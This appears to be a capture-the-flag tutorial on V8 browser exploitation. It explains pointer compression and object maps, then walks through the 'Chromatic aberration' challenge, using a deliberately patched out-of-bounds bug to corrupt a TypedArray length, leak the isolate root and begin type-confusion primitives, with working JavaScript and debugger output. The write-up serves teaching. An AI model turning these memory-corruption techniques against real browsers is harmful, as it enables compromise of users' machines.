Browser exploitation
Note: This guide contains parts of documentation of other authors. All of them are referenced and you can see the links to the articles in the References section.
Index
What is v8?
V8 is Google’s open source high-performance JavaScript and WebAssembly engine, written in C++. It is used in Chrome and in Node.js, among others. It implements ECMAScript and WebAssembly, and runs on Windows 7 or later, macOS 10.12+, and Linux systems that use x64, IA-32, ARM, or MIPS processors. V8 can run standalone, or can be embedded into any C++ application. [1]
What is pointer compression?
See Syed Faraz Abrar explanation’s about pointer compression in [2].
The v8 heap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
|
gef➤ vmmap
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x0000336500000000 0x000033650000c000 0x0000000000000000 rw-
0x000033650000c000 0x0000336500040000 0x0000000000000000 ---
0x0000336500040000 0x0000336500041000 0x0000000000000000 rw-
0x0000336500041000 0x0000336500042000 0x0000000000000000 ---
0x0000336500042000 0x0000336500052000 0x0000000000000000 r-x
0x0000336500052000 0x000033650007f000 0x0000000000000000 ---
0x000033650007f000 0x0000336508040000 0x0000000000000000 ---
0x0000336508040000 0x000033650805b000 0x0000000000000000 r--
0x000033650805b000 0x0000336508080000 0x0000000000000000 ---
0x0000336508080000 0x000033650818d000 0x0000000000000000 rw-
0x000033650818d000 0x00003365081c0000 0x0000000000000000 ---
0x00003365081c0000 0x00003365081c1000 0x0000000000000000 rw-
0x00003365081c1000 0x0000336508200000 0x0000000000000000 ---
0x0000336508200000 0x0000336508280000 0x0000000000000000 rw-
0x0000336508280000 0x0000336600000000 0x0000000000000000 ---
0x0000555555554000 0x0000555555c8c000 0x0000000000000000 r-- /home/lab/Desktop/CTF/Confidence2020/Chromatic/chromatic_aberration/for_players/bin/d8
0x0000555555c8c000 0x000055555695b000 0x0000000000737000 r-x /home/lab/Desktop/CTF/Confidence2020/Chromatic/chromatic_aberration/for_players/bin/d8
0x000055555695b000 0x00005555569be000 0x0000000001405000 r-- /home/lab/Desktop/CTF/Confidence2020/Chromatic/chromatic_aberration/for_players/bin/d8
0x00005555569be000 0x00005555569c9000 0x0000000001467000 rw- /home/lab/Desktop/CTF/Confidence2020/Chromatic/chromatic_aberration/for_players/bin/d8
0x00005555569c9000 0x0000555556a99000 0x0000000000000000 rw- [heap]
0x00007ffff69dd000 0x00007ffff6a18000 0x0000000000000000 rw-
0x00007ffff6a18000 0x00007ffff6a19000 0x0000000000000000 ---
0x00007ffff6a19000 0x00007ffff7c20000 0x0000000000000000 rw-
0x00007ffff7c20000 0x00007ffff7c45000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7c45000 0x00007ffff7db8000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7db8000 0x00007ffff7e01000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7e01000 0x00007ffff7e04000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7e04000 0x00007ffff7e07000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7e07000 0x00007ffff7e0b000 0x0000000000000000 rw-
0x00007ffff7e0b000 0x00007ffff7e0e000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libgcc_s.so.1
0x00007ffff7e0e000 0x00007ffff7e1f000 0x0000000000003000 r-x /usr/lib/x86_64-linux-gnu/libgcc_s.so.1
0x00007ffff7e1f000 0x00007ffff7e23000 0x0000000000014000 r-- /usr/lib/x86_64-linux-gnu/libgcc_s.so.1
0x00007ffff7e23000 0x00007ffff7e24000 0x0000000000017000 r-- /usr/lib/x86_64-linux-gnu/libgcc_s.so.1
0x00007ffff7e24000 0x00007ffff7e25000 0x0000000000018000 rw- /usr/lib/x86_64-linux-gnu/libgcc_s.so.1
0x00007ffff7e25000 0x00007ffff7e34000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libm-2.29.so
0x00007ffff7e34000 0x00007ffff7eda000 0x000000000000f000 r-x /usr/lib/x86_64-linux-gnu/libm-2.29.so
0x00007ffff7eda000 0x00007ffff7f71000 0x00000000000b5000 r-- /usr/lib/x86_64-linux-gnu/libm-2.29.so
0x00007ffff7f71000 0x00007ffff7f72000 0x000000000014b000 r-- /usr/lib/x86_64-linux-gnu/libm-2.29.so
0x00007ffff7f72000 0x00007ffff7f73000 0x000000000014c000 rw- /usr/lib/x86_64-linux-gnu/libm-2.29.so
0x00007ffff7f73000 0x00007ffff7f76000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/librt-2.29.so
0x00007ffff7f76000 0x00007ffff7f7a000 0x0000000000003000 r-x /usr/lib/x86_64-linux-gnu/librt-2.29.so
0x00007ffff7f7a000 0x00007ffff7f7c000 0x0000000000007000 r-- /usr/lib/x86_64-linux-gnu/librt-2.29.so
0x00007ffff7f7c000 0x00007ffff7f7d000 0x0000000000008000 r-- /usr/lib/x86_64-linux-gnu/librt-2.29.so
0x00007ffff7f7d000 0x00007ffff7f7e000 0x0000000000009000 rw- /usr/lib/x86_64-linux-gnu/librt-2.29.so
0x00007ffff7f7e000 0x00007ffff7f85000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libpthread-2.29.so
0x00007ffff7f85000 0x00007ffff7f94000 0x0000000000007000 r-x /usr/lib/x86_64-linux-gnu/libpthread-2.29.so
0x00007ffff7f94000 0x00007ffff7f99000 0x0000000000016000 r-- /usr/lib/x86_64-linux-gnu/libpthread-2.29.so
0x00007ffff7f99000 0x00007ffff7f9a000 0x000000000001a000 r-- /usr/lib/x86_64-linux-gnu/libpthread-2.29.so
0x00007ffff7f9a000 0x00007ffff7f9b000 0x000000000001b000 rw- /usr/lib/x86_64-linux-gnu/libpthread-2.29.so
0x00007ffff7f9b000 0x00007ffff7fa1000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
|
The heap is located in the lowest memmory mappings in the program. In the above image, the sections of the memory that starts with 0x00003365
(32 bits) are all essentially the V8 heap.
Within the same run, the upper 32 bits will remain the same and the lower 32 bits are the ones that changes. Between different runs, the upper 32 bits changes.
Pointer compression
Essentially, they ended up deciding to take the upper 32 bits of the V8 heap’s memory space (known as the isolate root) and storing it in one specific register (R13) that they decided to call the root register. Now, any pointers in the V8 heap are 32-bit pointers that only store the lower 32 bits of their actual 64-bit address.
Note – in the case of the above example, the isolate root would be 0x0000177f00000000
This is what pointer compression is. The pointers on the heap are compressed when they point to somewhere else in the V8 heap. Any time they need to be accessed, the isolate root that is stored in the root register is simply added to the compressed 32 bit address stored in the V8 heap, and then subsequently dereferenced.
A downside to this is that the V8 heap can not be any greater than 4 GB as that is the maximum limit of a 32-bit address space. This is fine for browsers, as the heap doesn’t need to be greater than 4 GB anyway. It becomes a problem with things like node.js that require larger heaps. Because of this, pointer compression is disabled for node.js until a better solution can be figured out.
Compressed pointers are tagged [3], which means the compression was (addr & 1
). As a result, you will require you to subtract 1 from them before examining. All compressed pointers last bit is set to 1 because of the (addr & 1
), so we simply need to substract it.
Example:
1
2
3
4
5
6
7
8
9
10
11
12
13
|
d8> var a = [1.1,1.2]; %DebugPrint(a);
DebugPrint: 0x106008085835: [JSArray]
- map: 0x1060081c1891 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x1060081884a1 <JSArray[0]>
- elements: 0x10600808581d <FixedDoubleArray[2]> [PACKED_DOUBLE_ELEMENTS]
- length: 2
- properties: 0x1060080406e9 <FixedArray[0]> {
#length: 0x106008100165 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x10600808581d <FixedDoubleArray[2]> {
0: 1.1
1: 1.2
}
|
If we want to see memory of the object, instead of looking at 0x106008085835
we would need to check 0x106008085835-1
:
1
2
3
|
gef➤ x/4gx 0x106008085835-1
0x106008085834: 0x080406e9081c1891 0x000000040808581d
0x106008085844: 0x080406e9081c18e1 0x0000000408085885
|
0x080406e9081c1891
points to the map and properties (notice pointer compression)
0x000000040808581d
points to elements and also shows array length.
1
2
3
|
| 32 upper bits (properties) | 32 lower bits (map) |
|----------------------------|---------------------|
| 0x080406e9 | 0x081c1891 |
|
As you can see, address to the map, as mentioned before, it would be the isolate root and the 32 lower bits:
1
2
3
4
|
| Map Address |
|--------------|---------------|
| Isolate root | 32 lower bits |
| 0x1060 | 0x081c1891 |
|
- map:
0x1060081c1891
and corresponds with the address %DebugPrint
gave us.
1
2
3
4
|
| Properties Address |
|--------------|---------------|
| Isolate root | 32 lower bits |
| 0x1060 | 0x080406e9 |
|
- Properties:
0x1060080406e9
and corresponds with the address %DebugPrint
gave us.
1
2
3
|
| 32 upper bits (length) | 32 lower bits (elements) |
|------------------------|--------------------------|
| 0x00000004 | 0x0808581d |
|
- Length is calculated shifting 1 bit. So if the array is 2, 0x2«0x1. Which is basically multiplying by 2.
1
2
3
4
|
| Elemments Address |
|--------------|---------------|
| Isolate root | 32 lower bits |
| 0x1060 | 0x0808581d |
|
- Properties:
0x10600808581d
and corresponds with the address shown in %DebugPrint
.
Fast properties
See [4].
JavaScript objects mostly behave like dictionaries, with string keys and arbitrary objects as values. The specification does however treat integer-indexed properties and other properties differently during iteration. Other than that, the different properties behave mostly the same, independent of whether they are integer indexed or not.
Named properties vs. elements
Let’s analyse a simple object:
{a: "foo", b: "bar"}
1
2
3
4
|
[
'a' => 'foo',
'b' => 'bar
]
|
This object has two named properties, a
and b
. It does not have any integer indices for property names. Array-indexed properties, more commonly known as elements, are most prominent on arrays. For instance the array:
["foo", "bar"]
1
2
3
4
|
[
0 => 'foo',
1 => 'bar
]
|
has two array-indexed properties: 0
, with the value foo
, and 1
, with the value bar
. This is the first major distinction on how V8 handles properties in general.
The following diagram shows what a basic JavaScript object looks like in memory.
As shown in the above figure. In a JS object, the named property will be included in the properties section while the indexed one will be included in the elements section.
A more practical example:
As you can see, elements from the array-indexed are included within the elements
section.
1
2
3
4
5
6
7
8
9
10
11
12
13
|
d8> var a = [1.1,1.2]; %DebugPrint(a);
DebugPrint: 0x106008085835: [JSArray]
- map: 0x1060081c1891 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x1060081884a1 <JSArray[0]>
- elements: 0x10600808581d <FixedDoubleArray[2]> [PACKED_DOUBLE_ELEMENTS]
- length: 2
- properties: 0x1060080406e9 <FixedArray[0]> {
#length: 0x106008100165 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x10600808581d <FixedDoubleArray[2]> {
0: 1.1
1: 1.2
}
|
Named property arrays are included in the properties
section.
1
2
3
4
5
6
7
8
9
10
11
|
d8> var a = {'a': 'foo', 'b': 'bar'}
undefined
d8> %DebugPrint(a)
DebugPrint: 0x171108082a09: [JS_OBJECT_TYPE]
- map: 0x1711081c3759 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x17110818066d <Object map = 0x1711081c01c1>
- elements: 0x1711080406e9 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x1711080406e9 <FixedArray[0]> {
#a: 0x17110818e711 <String[#3]: foo> (const data field 0)
#b: 0x17110818e721 <String[#3]: bar> (const data field 1)
}
|
HiddenClasses and DescriptorArrays
See [4].
HiddenClass stores meta information about an object, including the number of properties on the object and a reference to the object’s prototype. HiddenClasses are conceptually similar to classes in typical object-oriented programming languages. However, in a prototype-based language such as JavaScript it is generally not possible to know classes upfront. Hence, in this case V8, HiddenClasses are created on the fly and updated dynamically as objects change. HiddenClasses serve as an identifier for the shape of an object and as such a very important ingredient for V8’s optimizing compiler and inline caches. The optimizing compiler for instance can directly inline property accesses if it can ensure a compatible objects structure through the HiddenClass.
Let’s have a look at the important parts of a HiddenClass.
In V8 the first field of a JavaScript object points to a HiddenClass. (In fact, this is the case for any object that is on the V8 heap and managed by the garbage collector.) In terms of properties, the most important information is the third bit field, which stores the number of properties, and a pointer to the descriptor array. The descriptor array contains information about named properties like the name itself and the position where the value is stored. Note that we do not keep track of integer indexed properties here, hence there is no entry in the descriptor array.
The basic assumption about HiddenClasses is that objects with the same structure — e.g. the same named properties in the same order — share the same HiddenClass. To achieve that we use a different HiddenClass when a property gets added to an object. In the following example we start from an empty object and add three named properties.
Every time a new property is added, the object’s HiddenClass is changed. In the background V8 creates a transition tree that links the HiddenClasses together. V8 knows which HiddenClass to take when you add, for instance, the property a
to an empty object. This transition tree makes sure you end up with the same final HiddenClass if you add the same properties in the same order. The following example shows that we would follow the same transition tree even if we add simple indexed properties in between.
1
2
3
4
5
|
var a = {}; // C0
a.a = "foo" // C1
a.b = "bar" // C2
a.c = "baz" // C3
|
However, if we create a new object that gets a different property added, in this case property d
, V8 creates a separate branch for the new HiddenClasses.
Practical example
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
d8> var a = {};
undefined
d8> %DebugPrint(a)
DebugPrint: 0x354408082431: [JS_OBJECT_TYPE]
- map: 0x3544081c02d9 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x35440818066d <Object map = 0x3544081c01c1>
- elements: 0x3544080406e9 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x3544080406e9 <FixedArray[0]> {}
0x3544081c02d9: [Map]
- type: JS_OBJECT_TYPE
- instance size: 28
- inobject properties: 4
- elements kind: HOLEY_ELEMENTS
- unused property fields: 4
- enum length: invalid
- back pointer: 0x35440804030d <undefined>
- prototype_validity cell: 0x354408100451 <Cell value= 1>
- instance descriptors (own) #0: 0x3544080401b5 <DescriptorArray[0]>
- prototype: 0x35440818066d <Object map = 0x3544081c01c1>
- constructor: 0x354408180689 <JSFunction Object (sfi = 0x35440810245d)>
- dependent code: 0x3544080401ed <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0
|
Address of HiddenClass C0
is 0x3544081c02d9
. Now let’s add a new property:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
d8> a.a = "foo"
"foo"
d8> %DebugPrint(a)
DebugPrint: 0x354408082431: [JS_OBJECT_TYPE]
- map: 0x3544081c3731 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x35440818066d <Object map = 0x3544081c01c1>
- elements: 0x3544080406e9 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x3544080406e9 <FixedArray[0]> {
#a: 0x35440818f5f9 <String[#3]: foo> (const data field 0)
}
0x3544081c3731: [Map]
- type: JS_OBJECT_TYPE
- instance size: 28
- inobject properties: 4
- elements kind: HOLEY_ELEMENTS
- unused property fields: 3
- enum length: invalid
- stable_map
- back pointer: 0x3544081c02d9 <Map(HOLEY_ELEMENTS)>
- prototype_validity cell: 0x35440818f6e1 <Cell value= 0>
- instance descriptors (own) #1: 0x354408083c05 <DescriptorArray[1]>
- prototype: 0x35440818066d <Object map = 0x3544081c01c1>
- constructor: 0x354408180689 <JSFunction Object (sfi = 0x35440810245d)>
- dependent code: 0x3544080401ed <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0
{a: "foo"}
|
As you can see, the map address updates when a new property is added and it points to Hidden Class C1
(0x3544081c3731
). If we add a new property:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
d8> a.b = "bar"
"bar"
d8> %DebugPrint(a)
DebugPrint: 0x354408082431: [JS_OBJECT_TYPE]
- map: 0x3544081c3759 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x35440818066d <Object map = 0x3544081c01c1>
- elements: 0x3544080406e9 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x3544080406e9 <FixedArray[0]> {
#a: 0x35440818f5f9 <String[#3]: foo> (const data field 0)
#b: 0x35440818f761 <String[#3]: bar> (const data field 1)
}
0x3544081c3759: [Map]
- type: JS_OBJECT_TYPE
- instance size: 28
- inobject properties: 4
- elements kind: HOLEY_ELEMENTS
- unused property fields: 2
- enum length: invalid
- stable_map
- back pointer: 0x3544081c3731 <Map(HOLEY_ELEMENTS)>
- prototype_validity cell: 0x35440818f6e1 <Cell value= 0>
- instance descriptors (own) #2: 0x354408083e05 <DescriptorArray[2]>
- prototype: 0x35440818066d <Object map = 0x3544081c01c1>
- constructor: 0x354408180689 <JSFunction Object (sfi = 0x35440810245d)>
- dependent code: 0x3544080401ed <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0
{a: "foo", b: "bar"}
|
Now it points to HiddenClass C2
(0x3544081c3759
).
Summary of HiddenMaps:
- Objects with the same structure (same properties in the same order) have the same HiddenClass
- By default every new named property added causes a new HiddenClass to be created.
- Adding array-indexed properties does not create new HiddenClasses.
Object’s maps
There is an important bit about v8 that wasn’t discussed yet. Besides the location of property values, Maps also store type information for properties. Consider the following piece of code:
1
2
3
|
let o = {}
o.a = 1337;
o.b = {x: 42};
|
After executing it in v8, the Map of o
will indicate that the property .a
will always be a Smi while property .b
will be an Object with a certain Map that will in turn have a property .x
of type Smi. In that case, compiling a function such as
1
2
3
|
function foo(o) {
return o.b.x;
}
|
will result in a single Map check for o but no further Map check for the .b
property since it is known that .b will always be an Object with a specific Map. If the type information for a property is ever invalidated by assigning a property value of a different type, a new Map is allocated and the type information for that property is widened to include both the previous and the new type.
Let’s see another example considering the following line of code:
1
|
var x = [1.1, 2.2, 3.3, 4.4];
|
The output from %DebugPrint(x)
is the following:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
DebugPrint: 0x1d2508082495: [JSArray]
- map: 0x1d2508241891 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x1d25082084a1 <JSArray[0]>
- elements: 0x1d250808246d <FixedDoubleArray[4]> [PACKED_DOUBLE_ELEMENTS]
- length: 4
- properties: 0x1d25080406e9 <FixedArray[0]> {
#length: 0x1d2508180165 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x1d250808246d <FixedDoubleArray[4]> {
0: 1.1
1: 2.2
2: 3.3
3: 4.4
}
0x1d2508241891: [Map]
- type: JS_ARRAY_TYPE
- instance size: 16
- inobject properties: 0
- elements kind: PACKED_DOUBLE_ELEMENTS
- unused property fields: 0
- enum length: invalid
- back pointer: 0x1d2508241869 <Map(HOLEY_SMI_ELEMENTS)>
- prototype_validity cell: 0x1d2508180451 <Cell value= 1>
- instance descriptors #1: 0x1d2508208b29 <DescriptorArray[1]>
- transitions #1: 0x1d2508208b75 <TransitionArray[4]>Transition array #1:
0x1d2508042e91 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x1d25082418b9 <Map(HOLEY_DOUBLE_ELEMENTS)>
- prototype: 0x1d25082084a1 <JSArray[0]>
- constructor: 0x1d2508208375 <JSFunction Array (sfi = 0x1d2508188e41)>
- dependent code: 0x1d25080401ed <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0
[1.1, 2.2, 3.3, 4.4]
|
Inspecting the object’s pointer at 0x1d2508082495 - 1
we will see how the engine has built the array object.
1
2
3
4
|
gef➤ x/12wx 0x1d2508082495-1
0x1d2508082494: 0x08241891 0x080406e9 0x0808246d 0x00000008
0x1d25080824a4: 0x08040551 0x3a254b16 0x00000adc 0x7566280a
0x1d25080824b4: 0x6974636e 0x29286e6f 0x220a7b20 0x20657375
|
You can see that the object pointer points to it’s JSArray (PACKED_DOUBLE_ELEMENTS)
map address (0x08241891 - 1
), then there is a pointer to the object’s properties (0x080406e9 - 1
) and another pointer to it’s elements (0x0808246d - 1
). If we want to take a look into the stored values we need to access to element pointer:
1
2
3
4
5
6
7
8
9
10
11
12
|
gef➤ x/6xg 0x1d250808246d-1
0x1d250808246c: 0x0000000808040a15 0x3ff199999999999a
0x1d250808247c: 0x400199999999999a 0x400a666666666666
0x1d250808248c: 0x401199999999999a 0x080406e908241891
gef➤ p/f 0x3ff199999999999a
$4 = 1.1000000000000001
gef➤ p/f 0x400199999999999a
$5 = 2.2000000000000002
gef➤ p/f 0x400a666666666666
$6 = 3.2999999999999998
gef➤ p/f 0x401199999999999a
$7 = 4.4000000000000004
|
Elements
address points to FixedDoubleArray
map address next to the stored values. These maps that have been appearing in memory while we was investigating each object serve to locate each element inside each type of object, for example, in our case if we want to access to the second value (var a = x[1]
) the map will locate that value at JSArray[2][2] = 0x400199999999999a
and return it to us. Concluding that object’s maps will act as a dictionary between Javascript and memory to locate each value.
Chromatic aberration
Setup
We have prepared a docker file with the patch already applied to v8, so you can work directly with the compiled binaries:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
from ubuntu:latest
RUN apt-get update && apt-get upgrade -y
RUN apt-get install build-essential -y
RUN apt-get install wget -y
RUN apt-get install gdb -y
RUN apt-get install git -y
RUN wget -q -O- https://github.com/hugsy/gef/raw/master/scripts/gef.sh | sh
RUN mkdir -p /root/pwn/
WORKDIR /root/pwn/
COPY ./chromatic_aberration.tar ./
RUN tar -xvf ./chromatic_aberration.tar && rm ./chromatic_aberration.tar
RUN mv ./chromatic_aberration/for_players/ ./ && rm -rf ./chromatic_aberration/ && mv ./for_players ./chromatic_aberration
RUN echo "export LC_CTYPE=C.UTF-8" >> ~/.bashrc
RUN echo "export PATH=/root/pwn/chromatic_aberration/bin:$PATH" >> ~/.bashrc
RUN apt-get autoremove -y
|
The bug
Two modifications were applied:
Strings:
1
2
3
4
5
6
7
8
9
|
src/builtins/builtins-string.tq
@@ -81,7 +81,7 @@ namespace string {
const kMaxStringLengthFitsSmi: constexpr bool =
kStringMaxLengthUintptr < kSmiMaxValue;
StaticAssert(kMaxStringLengthFitsSmi);
- if (index >= length) goto IfOutOfBounds;
+ // if (index >= length) goto IfOutOfBounds;
goto IfInBounds(string, index, length);
}
|
TypedArrays:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
src/builtins/builtins-typed-array.cc
@@ -131,13 +131,15 @@ BUILTIN(TypedArrayPrototypeFill) {
if (!num->IsUndefined(isolate)) {
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, num, Object::ToInteger(isolate, num));
- start = CapRelativeIndex(num, 0, len);
+ //start = CapRelativeIndex(num, 0, len);
+ start = CapRelativeIndex(num, 0, 100000000);
num = args.atOrUndefined(isolate, 3);
if (!num->IsUndefined(isolate)) {
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, num, Object::ToInteger(isolate, num));
- end = CapRelativeIndex(num, 0, len);
+ //end = CapRelativeIndex(num, 0, len);
+ end = CapRelativeIndex(num, 0, 100000000);
}
}
}
|
What we have here is two Out Of Bound (OOB) bug:
- We have an OOB read in any String object:
1
2
3
4
5
6
|
$ ./bin/d8
V8 version 8.1.307.20
d8> var a = new String();
undefined
d8> a.charCodeAt(1000);
116
|
- We have an OOB fill in TypedArrays:
1
2
3
4
|
d8> var b = new Uint8Array(8);
undefined
d8> b.fill(0xff, 20, 25);
0
|
Leaking the isolated root
We define a TypedArray:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
d8> var a = new Uint8Array(8);
undefined
d8> %DebugPrint(a);
DebugPrint: 0x389a08083d4d: [JSTypedArray]
- map: 0x389a081c04e1 <Map(UINT8ELEMENTS)> [FastProperties]
- prototype: 0x389a08181ce9 <Object map = 0x389a081c0509>
- elements: 0x389a08083d3d <ByteArray[8]> [UINT8ELEMENTS]
- embedder fields: 2
- buffer: 0x389a08083d0d <ArrayBuffer map = 0x389a081c1189>
- byte_offset: 0
- byte_length: 8
- length: 8
- data_ptr: 0x389a08083d44
- base_pointer: 0x8083d3d
- external_pointer: 0x389a00000007
- properties: 0x389a080406e9 <FixedArray[0]> {}
- elements: 0x389a08083d3d <ByteArray[8]> {
0-7: 0
}
0,0,0,0,0,0,0,0
|
Accessing to the elements memory address:
1
2
3
4
5
6
|
gef➤ x/10gx 0x389a08083d3d-1
0x389a08083d3c: 0x0000001008040489 0x0000000000000000
0x389a08083d4c: 0x080406e9081c04e1 0x08083d0d08083d3d
0x389a08083d5c: 0x0000000000000000 0x0000000000000008
0x389a08083d6c: 0x0000000000000008 0x0000389a00000007
0x389a08083d7c: 0x0000000008083d3d 0x0000000000000000
|
From the above we can see the compressed addresses of:
- Map:
0x081c04e1
- Properties:
0x080406e9
- Elements:
0x08083d3d
- Buffer:
0x08083d0d
- Byte offset:
0x0000000000000000
- Byte length:
0x0000000000000008
- Length:
0x0000000000000008
Notice that the near memory contains the isolate root! 0x389a
.
Lets add a value to our array:
1
2
|
d8> a.fill(0xff,0,1);
255,0,0,0,0,0,0,0
|
Lets see the memory again:
1
2
3
4
5
|
gef➤ x/10gx 0x389a08083d3d-1
0x389a08083d3c: 0x0000001008040489 0x00000000000000ff
0x389a08083d4c: 0x080406e9081c04e1 0x08083d0d08083d3d
0x389a08083d5c: 0x0000000000000000 0x0000000000000008
0x389a08083d6c: 0x0000000000000008 0x0000389a00000007
|
We can clearly see where the values are being placed. If we could overwrite the length of the array, we would be able to read the isolate root by accessing the array values!
Since we know where values are being inserted, this will be our origin to calculate the offset both for the length and the isolate root.
The offset for the length is 40 (0x28
). We can use the array fill OOB bug to overwrite it:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
d8> a.fill(0xff, 40, 42);
255,0,0,0,0,0,0,0,225,4,28,8,233,6,4...
d8> %DebugPrint(a);
DebugPrint: 0x389a082c0155: [JSTypedArray]
- map: 0x389a081c04e1 <Map(UINT8ELEMENTS)> [FastProperties]
- prototype: 0x389a08181ce9 <Object map = 0x389a081c0509>
- elements: 0x389a082c31d5 <ByteArray[8]> [UINT8ELEMENTS]
- embedder fields: 2
- buffer: 0x389a082c31e5 <ArrayBuffer map = 0x389a081c1189>
- byte_offset: 0
- byte_length: 8
- length: 255
- data_ptr: 0x389a082c31dc
- base_pointer: 0x82c31d5
- external_pointer: 0x389a00000007
- properties: 0x389a080406e9 <FixedArray[0]> {}
- elements: 0x389a082c31d5 <ByteArray[8]> {
|
Since we have overwritten the length (now its 255
) we can read other parts from the memory, and we can leak the isolate root!
The offsets for the isolate root are 52 (0x34
) and 53 (0x35
).
1
2
3
|
var isolate_root = BigInt((a[0x35] << 8) + a[0x34]);
isolate_root = isolate_root << 32n;
console.log("[+] Isolate root: 0x" + isolate_root.toString(16))
|
Isolate root: 0x389a
Leaking map address
Read more in [5].
From now on, if you see a different isolate root, means that I have run again our script and therefore the isolate root changed.
Now we have the following context:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
d8> %DebugPrint(a)
DebugPrint: 0x3aa7085001ad: [JSTypedArray]
- map: 0x3aa7081c04e1 <Map(UINT8ELEMENTS)> [FastProperties]
- prototype: 0x3aa708181ce9 <Object map = 0x3aa7081c0509>
- elements: 0x3aa70850019d <ByteArray[8]> [UINT8ELEMENTS]
- embedder fields: 2
- buffer: 0x3aa70850016d <ArrayBuffer map = 0x3aa7081c1189>
- byte_offset: 0
- byte_length: 8
- length: 255
- data_ptr: 0x3aa7085001a4
- base_pointer: 0x850019d
- external_pointer: 0x3aa700000007
- properties: 0x3aa7080406e9 <FixedArray[0]> {}
- elements: 0x3aa70850019d <ByteArray[8]> {
...
|
Using type confussion we can start crafting the primitives of our exploit. In order to do that we will create one array of object and one Typed Array:
1
2
3
4
5
6
7
8
9
10
|
var writer = new Uint8Array(8);
var aux_obj = {"a": 1};
var aux_obj_arr = [aux_obj];
var aux_float_arr = [1.1, 2.2, 3.3];
writer.fill(0xff, 40, 41);
var isolate_root = BigInt((writer[0x35] << 8) + writer[0x34]);
isolate_root = isolate_root << 32n;
console.log("[+] Isolate root: 0x" + isolate_root.toString(16))
|
So basically, we have an auxiliary object that will be used to create our array of object and an array of floats. By using the type confussion technique, we could read the address of the auxiliary object which we will use for our exploit. We will make aux_obj_arr
thinks its a JSArray
by overwriting its map with aux_float_arr
, so doing aux_obj_arr[0]
will give us access to the object.
In order to do the type confussion, we first need to leak both aux_obj_arr
and aux_float_arr
map addresses.
1
2
3
4
5
6
7
8
9
10
11
12
|
d8> %DebugPrint(aux_obj_arr)
DebugPrint: 0x3aa708500259: [JSArray]
- map: 0x3aa7081c18e1 <Map(PACKED_ELEMENTS)> [FastProperties]
- prototype: 0x3aa7081884a1 <JSArray[0]>
- elements: 0x3aa70850024d <FixedArray[1]> [PACKED_ELEMENTS]
- length: 1
- properties: 0x3aa7080406e9 <FixedArray[0]> {
#length: 0x3aa708100165 <AccessorInfo> (const accessor descriptor)
